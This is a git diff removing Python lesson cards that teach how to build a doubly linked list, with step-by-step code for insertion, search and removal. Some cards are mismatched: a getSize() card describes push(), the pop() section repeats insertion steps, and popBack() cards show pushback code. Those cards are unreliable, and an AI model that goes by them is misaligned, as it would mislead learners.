diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/.DS_Store b/Module4_Labs/Lab2_Doubly_Linked_List/.DS_Store
deleted file mode 100644
index a284eda0..00000000
Binary files a/Module4_Labs/Lab2_Doubly_Linked_List/.DS_Store and /dev/null differ
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/1.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/1.md
deleted file mode 100644
index 25c94143..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/1.md
+++ /dev/null
@@ -1,19 +0,0 @@
-
-
-
-
-
-
-Since you have been introduced the concept of a linked-list, we are going to make a doubly linked list in this lab. Different from a singly linked list, a **D**oubly **L**inked **L**ist (DLL) contains an extra pointer, typically called the previous pointer, together with the next pointer and the data (the components already in a singly linked list).
-
-
-
-With an extra pointer (previous pointer), a doubly linked list can be traversed in both forward and backward direction. It also helps us to insert a new node or delete a node because singly linked list needs the previous pointer to operate deletion.
-
----
-
-Alright! With the brief introduction to the doubly linked list, let's start this lab by making a **Node class** to initializes a new node with the element and the next/ previous pointers.
-
-Next, we need to create the **DoublyLinkedList class** that contains different doubly linked list related functions. Remember that we don't use don't use arrays here, we use pointers to the next and previous nodes in order to access and adjust elements in the list.
-
-Note that at the beginning, we have no node in our current linked list, so we should have a constructor that initialize the head pointer as none. After that, we will implement different functions in this class to manipulate our linked-list.
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/11.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/11.md
deleted file mode 100644
index d5e38494..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/11.md
+++ /dev/null
@@ -1,13 +0,0 @@
-
-
-
-
-
-
-**Step 1: Node class**
-
-For the **Node class**, we should have a constructor that initialize the three member variables: the element (the actual data); next pointer (next node); previous pointer (previous node). These pointers should be pointing at `None` by default because we don't know where this node will be in our list.
-
-**Step 2: DoublyLinkedList class**
-
-For the **DoublyLinkedList class**, the constructor will initialize the first node as `None`.
\ No newline at end of file
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/111.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/111.md
deleted file mode 100644
index 1709ab1e..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/111.md
+++ /dev/null
@@ -1,28 +0,0 @@
-
-
-
-
-
-
-As you have already learned, a linked-list consists of a **head** pointer pointing at the first node and a **tail** pointer pointing at the last node of the list. Each node in the list contains the element and two pointers, **next** and **previous**. Note that the head node has a previous pointer that points to null, and the tail node has a next pointer that points to null.
-
-You're to define a Node class that initializes the information of a new node. Here is the actual code:
-
-```python
-class Node:
- def __init__(self, data):
- self.data = data
- self.next = None
- self.prev = None
-```
-
-This serves as the foundation of the doubly linked-list as **every node** in the list will have **data**, **next**, and **prev**.
-
-
-
-The `data` stores that actual value for the node. In the picture above, the value of the `data` in the second node is **B**.
-
-The `next` pointer stores the reference to the *next* node. Node **B**'s `next` has the reference to node **C**.
-
-The `prev` pointer stores the reference to the *previous* node. Node **B**'s `prev` has a reference to node **A**.
-
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/112.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/112.md
deleted file mode 100644
index 7614a4f8..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/112.md
+++ /dev/null
@@ -1,28 +0,0 @@
-
-
-
-
-
-
-After creating the `Node `class, we need a `DoublyLinkedList` class that will house all of the functions needed for using the data structure.
-
-First we need to initialize the list using `__init__`.
-
-Remember that every linked list has a **head**, **tail**, and optionally a **size**.
-
-```python
-class DoublyLinkedList:
-
- def __init__(self):
- self.head = None
- self.tail = None
- self.size = 0
-```
-
-The `head` has a reference to the front or top of the whole list. It points to the first node.
-
-The `tail` has a reference to the back or bottom of the whole list. It points to the last node.
-
-The `size` will keep count of how many nodes there are in the list
-
-- Note that `size` is optional but increases efficiency when needing to measure the size of the list. Instead of iterating through the whole list, we just have to reference `size`.
\ No newline at end of file
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/2.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/2.md
deleted file mode 100644
index 6bc93b9a..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/2.md
+++ /dev/null
@@ -1,13 +0,0 @@
-
-
-
-
-
-
-
-
-You can traverse the list to get each element of the node and do something with it, either printing each element in the list or comparing it with a specific value.
-
-Under your doubly linked list class, define a function call **printList()**. It should traverse the list and print each element separated by a comma. The function will take one parameter, which is the node where you want to start printing from. It will print the list from this value to the end of the list.
-
-Note that for edge cases, like when the list is empty, your code may throw an error. Try using an if statement to check for certain cases before going into the list traversal code.
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/21.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/21.md
deleted file mode 100644
index 2fc7d80a..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/21.md
+++ /dev/null
@@ -1,14 +0,0 @@
-
-
-
-
-
-
-**Step 1: printList()**
-
-The simplest way to check an empty list is to check whether the first node exits. If the first node doesn't exit, meaning that the doubly linked list is empty, then you can return.
-
-Otherwise, the list is not empty, and you should set your current node from the head node to the tail node by using the next pointer.
-
-Print the element of every node you go through.
-
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/211.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/211.md
deleted file mode 100644
index 82bd3456..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/211.md
+++ /dev/null
@@ -1,27 +0,0 @@
-
-
-
-
-
-
-The function `printList(self, node)` will help you to visualize the list.
-
-**Step 1: Printing**
-
-We start by printing each node's data value.
-
-**Step 2: Traversal**
-
-We continue by traversing through the list. It will halt when you reach the end of the list, where `node` equals `None`, since the last node points to `None`.
-
-```python
-def printList(self, node):
-
- while node != None:
- print(node.data)
-
- # Get next node
- node = node.next
-```
-
-We pass `node` in as a parameter assuming it is the variable assigned to a node from which a linked list was started. Passing in one node is sufficient to traverse the whole list, because we start at this head node, and then access following nodes (`node.next`) since they're linked together.
\ No newline at end of file
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/3.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/3.md
deleted file mode 100644
index fa776644..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/3.md
+++ /dev/null
@@ -1,12 +0,0 @@
-
-
-
-
-
-
-
-
-Define a method to search the entire list, and call it **search()**. It requires one parameter: the value to be searched for. You will need to compare that value with each value in the linked list until you find it or go out of bounds.
-
-If you find the node with the specific value you're searching for, return the Boolean value `True`. Otherwise, return `False`.
-
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/31.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/31.md
deleted file mode 100644
index 15e64a7a..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/31.md
+++ /dev/null
@@ -1,12 +0,0 @@
-
-
-
-
-
-
-**Step 1: search()**
-
-The operation in this card is similar to traversing the doubly linked list, as you need to go through each element in the list and compare the element with your specific value.
-
-In this function, you need to return the boolean value, either `True` or `False`. You can use a while loop and the next pointer to traverse the list until you find the matching node with the specific value or pass the tail node, going out of bounds.
-
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/311.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/311.md
deleted file mode 100644
index cfe889b0..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/311.md
+++ /dev/null
@@ -1,31 +0,0 @@
-
-
-
-
-
-
-Now, what if we want to search if there's a node in the list?
-
-For this, we would want to create a `search(node)` function that checks if the node is present in the list or not.
-
-```python
-def search(self, target):
- current = self.head
-
- # Loop till current not equal to None
- while current != None:
- if current.data == target:
- return True # Data found
-
- current = current.next
-
- return False # Data Not found
-```
-
-The function `search(node)` iterates through each node using `current = current.next` to get to the next node.
-
-The while loop will break when:
-
-1. the desired node is **found**
-2. the current node is `None`, which means you are at the end of the list and the node was **not found**
-
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/4.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/4.md
deleted file mode 100644
index 344cc1e5..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/4.md
+++ /dev/null
@@ -1,51 +0,0 @@
-
-
-
-
-
-
- 
-
-We will have the following five methods of inserting an item in doubly linked list:
-
-- insert in an empty list
-- insert at the start
-- insert at the end
-- insert after another item
-- insert before another item
-
-These are extremely useful for editing a doubly linked list, because you can add in very specific ways with different methods.
-
-For each method, you will need to write a function that does the specific insertion in the doubly linked list. Remember that all manipulations to the linked list require careful modification of the pointers. A useful tip would be writing a doubly linked list on a piece of paper with proper pointers pointing at specific nodes. As you design the functions, you can erase the original pointing line and draw a new one to see what happens.
-
-Below are the descriptions of each method that you will implement:
-
-**Inserting Items in Empty List**
-
-- Write a function called **push()** that takes in the element you want to insert as the parameter.
- - Check whether the list is empty.
- - If this is an empty list, insert the new node. Otherwise, you will continue to the next step below, "inserting items at the start."
-
-**Inserting Items at the Start**
-
-- Adding to the **push()** function, if the list is not empty, it should insert the new node as the head of the list.
-
-**Inserting Items at the End**
-
-- The function **pushback()** will take one element as a parameter.
- - First check if this is an empty list.
- - If not an empty list, insert the new node as the tail of the list.
-
-**Inserting Item After Another Item**
-
-- Define a function called **insertAfter()** which will take two parameters: the value of new node and the node to be inserted after.
- - Yup, check if it's an empty list because you don't want to "insert" after an empty list.
- - If not an empty list, but the selected node to be inserted after is not found, print the message, "Target not found."
- - Else if the node exists in the list, insert the new node after the selected node.
-
-**Inserting Item Before Another Item**
-
-- Define a function called **insertBefore()** which will take two parameters for the value of new node and the node to be inserted after.
- - Check if it's an empty list.
- - If not an empty list, but the selected node to be inserted after is not found, print the message, "Target not found."
- - Else if the node exists in the list, insert the new node before the selected node.
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/41.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/41.md
deleted file mode 100644
index 9aa34bb6..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/41.md
+++ /dev/null
@@ -1,12 +0,0 @@
-
-
-
-
-
-
-**Step 1: getSize()**
-
-Define a function called **push()**, this function will take a value as the parameter. Inside this function, you need to check whether the list is empty (hint: check the status of the head node).
-
-Recall the member variable in your **DoublyLinkedList** class. How do you extract the member variable to return the length of your doubly linked list?
-
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/42.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/42.md
deleted file mode 100644
index 98c7db7c..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/42.md
+++ /dev/null
@@ -1,16 +0,0 @@
-
-
-
-
-
-
-**Step 1: Normal Operations of push()**
-
-Expanding from the function **push()** which you just defined for inserting the item into an empty list.
-
-You already have the initial coniditon checks in this function. Now, you need to complete the condition when the list is not empty.
-
-If this is not an empty list, then you need to update the pointers of the orignial head node with the new node. Hint: what would happen to the previous pointer of the old head node if you add a new head node into the list, and what about the pointers of the new head node?
-
-
-
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/421.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/421.md
deleted file mode 100644
index eeb42afc..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/421.md
+++ /dev/null
@@ -1,92 +0,0 @@
-
-
-
-
-
-
-**Step 1: Making the node**
-
-The first function that will be made for this class is `push(self, newData)` which adds a new node to the **head** of the list.
-
-We are going to create a new node with any `newData` that we want and insert it at the `head` of the list.
-
-First, we call the `Node` method to make the incoming data a node that we can add to the linked list.
-
-```python
-def push(self, newData):
- newNode = Node(newData)
-```
-
-**Step 2: Pointing to self.head**
-
-The function `push()` relies on `self.head` to keep track of the first node. You can think of this process as cutting to the front of the line. You are the `newNode` and you insert yourself infront of the first person in line.
-
-Here we're using **dot notation**, which allows us to access and reset variables in the constructor methods of classes. We set our new node to point to the current head of the list by using `.next` from our `Node()` class and `self.head` from our `DoublyLinkedList()` class, where the first node in the list is stored.
-
-```python
- # newNode -> self.head
- newNode.next = self.head
-```
-
-**Step 3: Pointing back to the new node**
-
-Next, we set `self.head`'s previous pointer to our new node, so now `newNode` is ahead of the value at `self.head`. Again, we use dot notation with `.prev` from the `Node` class. Note that we only do this if the list is **not** empty, since we can't set pointers in an empty list.
-
-```python
- # If the list is not empty
- if self.head != None:
- self.head.prev = newNode
-```
-
-**Step 4: Pushing to an empty list**
-
-In the case of pushing to an empty list, you can just make the head and the tail the new node. We use dot notation once again, setting `newNode` to both self variables. We need to set both head and tail, so if another method is used on the list afterwards, both can be accessed for adding or removing nodes.
-
-```python
- # If the list is empty
- else:
- self.head = newNode
- self.tail = newNode
-```
-
-**Step 5: Finalizing the new head**
-
-The last two steps are crucial for the viability of our linked list. First, we must set the `self.head` pointer to `newNode`, so it becomes the new head of the list. You are now at the **front** of the line, with the `head` pointing at you and the person behind you being `next`.
-
-**Step 6: Incrementing the list size**
-
-Lastly, we increment the size of the list by one by editing the size variable in our `DoublyLinkedList` class constructor method.
-
-```python
- # The head is now the new node
- self.head = newNode
- self.size += 1
-```
-
-Here is a graphic that illustrates the changes in the pointers at the front of the linked list when we call the push method.
-
-
-
-Here is the completed code for the `push(self, newData)` method:
-
-```python
-def push(self, newData):
- newNode = Node(newData)
-
- # newNode -> self.head
- newNode.next = self.head
-
- # If the list is not empty
- if self.head != None:
- self.head.prev = newNode
-
- # If the list is empty
- else:
- self.head = newNode
- self.tail = newNode
-
- # The head is now the new node
- self.head = newNode
- self.size += 1
-```
-
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/43.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/43.md
deleted file mode 100644
index 17ca7bf3..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/43.md
+++ /dev/null
@@ -1,14 +0,0 @@
-
-
-
-
-
-
-**Step 1: pushback()**
-
-Define a function called **pushback()** which will also takes a value as the parameter for initializing the element of new node. Of course, as you might have guessed, we need to check the empty list again! If the list is empty, simply make a new head node with the given value.
-
-If this list already contains some elements, we need to traverse through the list until the tail pointer of the list. The next pointer of the tail will be `None`, so this is your base case to stop your while loop.
-
-As you come to the last node of the list, simply apply the logic as you insert a new node at the front. However, we are inserting at the end so the pointers adjustment will be a little bit different.
-
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/431.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/431.md
deleted file mode 100644
index ebae043c..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/431.md
+++ /dev/null
@@ -1,82 +0,0 @@
-
-
-
-
-
-
-**Step 1: Making the node**
-
-The next function we will work on is `pushback(self, newData)`
-
-Just like `push(self, newData`), the function `pushback(self, newData)` adds a new node to the list, but it adds it to the **back** or `tail` of the list. It is similar to the `append()` function on a normal list.
-
-Just like in the push method, we first make turn our data into a new node.
-
-```python
-def pushback(self, newData):
-
- # Initialize new node
- newNode = Node(newData)
-```
-
-**Step 2: The temp pointer**
-
-The function relies on `self.tail` to keep track of the last node. For this example, you can think of this as going to the back of the line. If the list is not empty, then we have a `temp` pointer pointing to the last node, `self.tail`. We make `temp.next` point to `newNode` and `newNode.prev` point back to temp. This establishes the `next` and `prev` connection between `temp` and `newNode`, so `newNode` is now at the end of the list. Now we just have to set `newNode` as the new tail.
-
-```python
- # If the list is not empty
- if self.head != None:
- temp = self.tail
- temp.next = newNode
- newNode.prev = temp
- self.tail = self.tail.next
-```
-
-Note the order of setting the values in the body of the if statement. We have to set the temp variable first, so we can manipulate the pointers to and from the original tail of the list, all before setting the new node as the new tail using `self.tail`.
-
-**Step 4: Pushing to an empty list**
-
-In the case of using `pushback` on an empty list, you just make `newNode` the head and tail.
-
-**Step 5: Incrementing the list size**
-
-Lastly, we increment the size of the list by one, just like we did with the push function.
-
-```python
- # If the list is empty
- else:
- self.head = newNode
- self.tail = newNode
-
- # Increment size
- self.size += 1
-```
-
-This image depicts how the pointers change when you use the method to add a new tail.
-
-
-
-This is the completed code for the `pushback(self, newData)` method:
-
-```python
-def pushback(self, newData):
-
- # Initialize new node
- newNode = Node(newData)
-
- # If the list is not empty
- if self.head != None:
- temp = self.tail
- temp.next = newNode
- newNode.prev = temp
- self.tail = self.tail.next
-
- # If the list is empty
- else:
- self.head = newNode
- self.tail = newNode
-
- # Increment size
- self.size += 1
-```
-
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/44.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/44.md
deleted file mode 100644
index 164eb939..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/44.md
+++ /dev/null
@@ -1,23 +0,0 @@
-
-
-
-
-
-
-**Step 1: Empty List Check**
-
-The **insertAfter()** method takes two parameters: the value you want to insert, and the node that you want to insert it after. We can not insert a node after another node if the list contains no nodes, and this is again why we need the empty list check!
-
-If the list is empty, you can return.
-
-**Step 2: Traversal**
-
-Otherwise, you will do something similar to **pushback()** where you traverse the list until you find the node that you want to insert the value after.
-
-**Step 3: Pointers and Insertion**
-
-If you don't find the node after the tail node, you should insert the new node into the tail node.
-
-Else if the node exists in the list, insert the new node after the selected node. To do this, you need to adjust the next and previous pointers to the new node, the node (A) that it'll be inserted after, and the node after the node A.
-
-Make sure your pointers are set up properly because this is the key to this function.
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/441.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/441.md
deleted file mode 100644
index 8c79c00e..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/441.md
+++ /dev/null
@@ -1,120 +0,0 @@
-
-
-
-
-
-
-**Step 1: Check for an empty list**
-
-We learned how to insert at the front and back of the list, but what about the middle? Or after a certain value?
-
-This next function, `insertAfter(target, newData)` will allow us to do just that. `target` is the node you want to insert after, and `newData` will be the new node proceeding `target`. If we wanted to insert a new node after the node containing the value 17, we would call `insertAfter(17, newData)`.
-
-First, we will check if the list is empty.
-
-**Step 2: Setting up the curr variable**
-
-If it's not, then we set a variable `curr` to the head (first node) of the list, which we will later use to find the target.
-
-```python
-def insertAfter(self, target, newData):
-
- # 1. If the list is empty
- if self.head == None:
- return
-
- else:
- curr = self.head
-```
-
-**Step 3: Iterating through the list to find the target**
-
-Next, we use a while loop to iterate through the linked list in search of the target value. So long as the value at `curr` is not the value of the target, we set `curr` to the following node using `next` and dot notation. Once the data at `curr` is equal to `target`, we exit the while loop. If we get to the end of the list and we haven't found the target, then `curr` will equal None in the last iteration of the while loop. The if statement will then be evaluated, and we will exit the method.
-
-```python
- # 2. Search for target node
- while curr.data != target:
- curr = curr.next
-
- if curr == None:
- print("Target not found.")
- return
-```
-
-**Step 4: Inserting the new node after the target**
-
-If `target` is found, we skip the if statement, initialize a `newNode` with the `newData` and establish connections for `next` and `prev` between the new node and `curr`. We have to first set the new node to point back at `curr`, and then set `newNode` to point towards the node after `curr`.
-
-```python
- # 3. If target was found, curr != None
- newNode = Node(newData)
- newNode.prev = curr
- newNode.next = curr.next
-```
-
-**Step 5: Pointing back at the new node**
-
-Now check that the new node is not the last node in the list. If it's not, then we set the node after `curr` to point back at `newNode`. If we inserted after the last node in the list, `newNode.next` will already point to `None`, so we can just set the new node as `self.tail`, shown in the else statement.
-
-```python
- # 4. If curr is not the last node
- if curr.next is not None:
- curr.next.prev = newNode
-
- else:
- self.tail = newNode
-```
-
-**Step 6: Pointing towards the new node**
-
-To finalize the position of `newNode`, we set `curr` to point to `newNode`, which completes the connection between `newNode` and the values before and after it.
-
-Lastly, we increment `self.size` by 1 to track the addition of the new node.
-
-```python
- # 5. Connect the current node with the new node
- curr.next = newNode
-
- # Increment size
- self.size += 1
-```
-
-Here is the complete code for `insertAfter(self, target, newData)`:
-
-```python
-def insertAfter(self, target, newData):
-
- # 1. If the list is empty
- if self.head == None:
- return
-
- else:
- curr = self.head
-
- # 2. Search for target node
- while curr.data != target:
- curr = curr.next
-
- if curr == None:
- print("Target not found.")
- return
-
- # 3. If target was found, curr != None
- newNode = Node(newData)
- newNode.prev = curr
- newNode.next = curr.next
-
- # 4. If curr is not the last node
- if curr.next is not None:
- curr.next.prev = newNode
-
- else:
- self.tail = newNode
-
- # 5. Connect the current node with the new node
- curr.next = newNode
-
- # Increment size
- self.size += 1
-```
-
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/45.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/45.md
deleted file mode 100644
index 0038a43d..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/45.md
+++ /dev/null
@@ -1,17 +0,0 @@
-
-
-
-
-
-
-**Step 1: insertBefore()**
-
-This is the last method for inserting the item, and this item will be inserted before another one in the list. In **insertBefore()**, you will take in two parameters which are the value and the node to be inserted before.
-
-If this is an empty list, you should simply return.
-
-Otherwise, we will iterate through all the nodes in the doubly linked list. In case the node before which we want to insert the new node is not found, just print he message, "Target not Found." and return.
-
-Else if the selected node exists in the list, break out your traversing loop and insert the new node in before the selected node.
-
-Note that you will need to adjust the pointers for both nodes after the insertion. If the node to be inserted before is the head node, what would the previous pointer of the new node be?
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/451.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/451.md
deleted file mode 100644
index 02c95d10..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/451.md
+++ /dev/null
@@ -1,112 +0,0 @@
-
-
-
-
-
-
-**Step 1: Check for an empty list and set curr**
-
-The function `insertBefore(target, newData)` is very similar to the previous function we did. If we wanted to insert a new node before the node containing the value 17, we would call `insertBefore(17, newData)`.
-
-We start out the same way as `insertAfter`, checking that the list is not empty. We set `curr` to the head of the list.
-
-```python
-def insertBefore(self, target, newData):
-
- # If the list is empty
- if self.head == None:
- return
-
- else:
- curr = self.head
-```
-
-**Step 2: Iterating through the list to find the target**
-
-We use the same while loop and if statement as the insert after function as well. We iterate through the linked list by continuously setting `curr` to the node after it, until the data at that node equals the target value. If `curr` is equal to `None`, that means we were not able to find the target in the list, so we exit the method after printing.
-
-```python
- # 2. Search for target node
- while curr.data != target:
- curr = curr.next
- if curr == None:
- print("Target not found.")
- return
-```
-
-**Step 4: Inserting the new node before the target**
-
-Once the data at `curr` equals `target`, we can insert `newData`. We make a node out of that value, and then set the pointers accordingly. First, set `newNode` to point back to the value before `curr`. Then, set `newNode` to point to `curr`. This positions the new node before `curr`.
-
-```python
- # 3. If target was found, curr != None
- newNode = Node(newData)
- newNode.prev = curr.prev
- newNode.next = curr
-```
-
-**Step 5: Pointing to the new node**
-
-Now check to see if we inserted before the head of the list. If not, then we can set the node before `curr` to point to the new node. Otherwise, `newNode` is already at the start of the list, and `newNode.prev` will already point to `None`. If we are at the first node, we will set the new node as `self.head`.
-
-```python
- # 4. If curr is not the first node
- if curr.prev != None:
- curr.prev.next = newNode
-
- else:
- self.head = newNode
-```
-
-**Step 6: Pointing back at the new node**
-
-The last step in situating the new node is to set the node before `curr` as `newNode`, by making the current node's `prev` point to the new node. Now `newNode` is before `curr`, and after the node that was originally before `curr`.
-
-Finally, we increment the size of the linked list by one.
-
-```python
- # 5. Connect the current node with the new node
- curr.prev = newNode
-
- # Increment size
- self.size += 1
-```
-
-This is the completed code for `insertBefore(self, target, newData)`:
-
-```python
-def insertBefore(self, target, newData):
-
- # If the list is empty
- if self.head == None:
- return
-
- else:
- curr = self.head
-
- # 2. Search for target node
- while curr.data != target:
- curr = curr.next
- if curr == None:
- print("Target not found.")
- return
-
- # 3. If target was found, curr != None
- newNode = Node(newData)
- newNode.prev = curr.prev
- newNode.next = curr
-
- # 4. If curr is not the first node
- if curr.prev != None:
- curr.prev.next = newNode
-
- else:
- self.head = newNode
-
- # 5. Connect the current node with the new node
- curr.prev = newNode
-
- # Increment size
- self.size += 1
-```
-
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/5.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/5.md
deleted file mode 100644
index 9742ebc7..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/5.md
+++ /dev/null
@@ -1,54 +0,0 @@
-
-
-
-
-
-
- 
-
-Similar to insertion, there are also multiple ways to delete elements from a doubly linked list, and they are the same as introduced in the previous card. Check out the description and implement these function in your doubly linked list class.
-
-**Deleting Elements From the Start**
-
-- Define a function called **popFront()** which does not take in any parameter.
- - If the list is empty, return.
- - Otherwise, delete the head node.
-
-**Deleting Elements From the End**
-
-- Define a function called **popBack()** which also takes no parameter.
- - If the list is empty, return.
- - Otherwise, delete the tail node.
-
-**Deleting Elements by Value**
-
-Write a function called **pop()**. In this method, you need to think carefully since several cases have to be handled in order to remove an element by value.
-
-- Continuing from the **push()** function, if the list is not empty, it should insert the new node as the head of the list.
-
-
-**Inserting Items at the End**
-
-- The function **pushback()** will check if this is an empty list.
-
-- If not an empty list, insert the new node as the tail of the list.
-
-
-**Inserting Item After Another Item**
-
-- Define a function called **insertAfter()** which will take two parameters: the value of new node and the node to be inserted after.
-
-- Yup, check the empty list because you don't want to "insert" after an empty list.
-
-- If not an empty list, but the selected node to be inserted is not found, print the message, "Target not found."
-
-- Else if the node exist in the list, insert the new node after the selected node.
-
-
-**Inserting Item Before Another Item**
-
-- Define a function called **insertBefore()** which will take two parameters for the value of new node and the node to be inserted after.
-- Check the empty list.
-- If not an empty list, but the selected node to be inserted is not found, print the message, "Target not found."
-- Else if the node exist in the list, insert the new node before the selected node.
-
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/51.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/51.md
deleted file mode 100644
index e965c997..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/51.md
+++ /dev/null
@@ -1,15 +0,0 @@
-
-
-
-
-
-
-**Step 1: popFront()**
-
-If a list is empty, its head node should have a `None` value, then you can return.
-
-If the list only contains one node, your list will have no elements after this opertion. Then, what should your head node status be?
-
-If the list contains more than one node, change your head node and the previous pointer of the original head node.
-
- 
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/511.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/511.md
deleted file mode 100644
index 4bb01665..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/511.md
+++ /dev/null
@@ -1,37 +0,0 @@
-
-
-
-
-
-
-**Step 1: popFront()**
-
-Now that we know how to add nodes to the list, let's learn how to *remove* nodes from the list.
-
-First, let's look at how to remove from the **head** of the list. We will be relying on `self.head` since it points to the first node in the list.
-
-This function will be called `popFront()`
-
-```python
-def popFront(self):
-
- # 1. If the list is not empty
- if self.head == None:
- return
-
- else:
- # 2. If there ISN'T only onde node
- if self.head.next != None:
- self.head = self.head.next
- self.head.prev = None
-
- # 3. If there's only one node
- else:
- self.head = None
- self.tail = None
-
- # Decrement size
- self.size -= 1
-```
-
-For `popFront()`, we will (1) check if the list is empty, then (2) check if there is more than one node in the list and set `self.head` to the next node. Now that `self.head` is the second node in the list, we can now get get rid of the connection the previous node. In the case that there is only one node in the list, we would just make the head and the tail point to `None`.
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/52.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/52.md
deleted file mode 100644
index 07d6af03..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/52.md
+++ /dev/null
@@ -1,13 +0,0 @@
-
-
-
-
-
-
-**Step 1: popBack()**
-
-The **popBack()** takes in no parameters. In this function, you need to check whether the list is empty. If yes, then simply return.
-
-If the list only contains one element, then change the value of your head node and tail node in the list, making your list empty because you're removing the only node.
-
-Otherwise, traverse the list to the tail node, and remove that node and assign a new tail node.
\ No newline at end of file
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/521.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/521.md
deleted file mode 100644
index 2c03836c..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/521.md
+++ /dev/null
@@ -1,39 +0,0 @@
-
-
-
-
-
-
-**Step 1: pushback(newData)**
-
-The next function we will work on is `pushback(newData)`
-
-Just like `push(newData`), the function `pushback(newData)` adds a new node to the list, but it adds it to the **back** or `tail` of the list. It is similar to the `append` function on a normal list.
-
-```python
-def pushback(self, newData):
-
- # Initialize new node
- newNode = Node(newData)
-
- # If the list is not empty
- if self.head != None:
- temp = self.tail
- temp.next = newNode
- newNode.prev = temp
- self.tail = self.tail.next
-
- # If the list is empty
- else:
- self.head = newNode
- self.tail = newNode
-
- # Increment size
- self.size += 1
-```
-
-The function `pushBack(newData)` relies on `self.tail` to keep track of the last node. For this example, you can think of this as going to the back of the line. In the case of using `pushback` on an empty list, you just make `newNode` the head and tail.
-
-If the list is not empty, then we have a `temp` pointer pointing to the last node, `self.tail`. We make `temp.next` point to `newNode` and `newNode.prev` point back to temp. This established the `next` and `prev` connection between `temp` and `newNode`. Now we just have to set `newNode` as the new tail.
-
-
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/53.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/53.md
deleted file mode 100644
index 6788be0e..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/53.md
+++ /dev/null
@@ -1,14 +0,0 @@
-
-
-
-
-
-
-**Step 1: pushback()**
-
-Define a function called **pushback()** which will also takes a value as the parameter for initializing the element of new node. Of course, as you might have guessed, we need to check the empty list again! If the list is empty, simply make a new head node with the given value.
-
-Same procedure here, check whether the list is empty. If yes, then simply return.
-
